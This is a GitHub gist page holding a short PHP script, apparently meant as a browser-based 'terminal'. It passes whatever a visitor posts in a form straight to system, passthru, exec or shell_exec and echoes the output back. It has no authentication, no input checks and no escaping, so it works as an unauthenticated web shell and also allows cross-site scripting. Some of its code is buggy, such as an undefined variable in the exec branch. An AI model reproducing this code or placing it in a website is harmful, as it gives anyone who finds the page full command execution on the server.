Skip to content

Instantly share code, notes, and snippets.

@basteyy
Last active January 15, 2019 07:30
Show Gist options
  • Save basteyy/a35acf356155fcbb38df7efb543ee5c6 to your computer and use it in GitHub Desktop.
Save basteyy/a35acf356155fcbb38df7efb543ee5c6 to your computer and use it in GitHub Desktop.
php terminal example.php
<?php
error_reporting(E_ALL);
ini_set("display_errors", 1);
class Terminal{
public $command = '';
public $output = '';
public $directory = '';
public $command_exec = '';
public function __construct(){
if(!isset($_SESSION['dir']) || empty($_SESSION['dir'])){
$this->command_exec = 'pwd';
$this->Execute();
$_SESSION['dir'] = $this->output;
}else{
$this->directory = $_SESSION['dir'];
$this->ChangeDirectory();
}
}
public function Process(){
$this->ParseCommand();
$this->Execute();
return $this->output;
}
public function ParseCommand(){
// Explode command
$command_parts = explode(" ",$this->command);
// Handle 'cd' command
if(in_array('cd',$command_parts)){
$cd_key = array_search('cd', $command_parts);
$cd_key++;
$this->directory = $command_parts[$cd_key];
$this->ChangeDirectory();
// Remove from command
$this->command = str_replace('cd '.$this->directory,'',$this->command);
}
// Replace text editors with cat
$editors = array('vim','vi','nano');
$this->command = str_replace($editors,'cat',$this->command);
// Update exec command
$this->command_exec = $this->command . ' 2>&1';
}
////////////////////////////////////////////////////
// Chnage Directory
////////////////////////////////////////////////////
public function ChangeDirectory(){
chdir($this->directory);
// Store new directory
$_SESSION['dir'] = exec('pwd');
}
////////////////////////////////////////////////////
// Execute commands
////////////////////////////////////////////////////
public function Execute(){
//system
if(function_exists('system')){
ob_start();
system($this->command_exec);
$this->output = ob_get_contents();
ob_end_clean();
}
//passthru
else if(function_exists('passthru')){
ob_start();
passthru($this->command_exec);
$this->output = ob_get_contents();
ob_end_clean();
}
//exec
else if(function_exists('exec')){
exec($this->command_exec , $this->output);
$this->output = implode("\n" , $output);
}
//shell_exec
else if(function_exists('shell_exec')){
$this->output = shell_exec($this->command_exec);
}
// no support
else{
$this->output = 'Command execution not possible on this system';
}
}
}
$lcmd = '';
if(!empty($_POST['command'])){
$command = $_POST['command'];
$Terminal = new Terminal();
$output = '';
$command = explode("&&", $command);
foreach($command as $c){
$Terminal->command = $c;
$output .= ':~$ ' . $c. "\n" . $Terminal->Process();
$lcmd = $c;
}
echo '<textarea rows=40 cols=120>'.$output.'</textarea>';
}
?><form method="post" action="term.php"><input onClick="this.setSelectionRange(0, this.value.length)" autofocus type="text" name="command" id="command" value="<?= $lcmd ?>" /><input type="submit" /></form>
<script>document.onload = function() {
document.getElementById("command").focus();
}</script>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment